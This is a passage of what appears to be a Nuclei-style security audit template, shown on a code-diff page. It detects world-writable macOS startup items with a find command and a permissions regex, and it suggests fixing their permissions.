Identifies world-writable startup items on macOS that can be tampered with by unprivileged users.
|
||||
impact: |
|
||||
World-writable startup items can be modified by any user on the system, potentially leading to privilege escalation or execution of malicious code.
|
||||
remediation: |
|
||||
Review and correct the permissions of world-writable startup items.
|
||||
tags: macos,audit,local,security,startup
|
||||
|
||||
self-contained: true
|
||||
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
find /System/Library/StartupItems/ /Library/StartupItems/ -perm -o+w -type f -ls 2>/dev/null
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "\\d+\\s+-[rwx-]*w[rwx-]*w[rwx-]*\\s+"
|
||||
# digest: 4a0a00473045022100cdffabfeaa894e26f8e25b8f0e6f3eb621ef7ba02088001a384c45791c7a3be002206670aa650962df9af70ced787fa9058d9e6a5c2573bf3aca920e4eb466b3741d:922c64590222798bb761d5b6d8e72950
|
||||
Loaded 100 of 6110 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user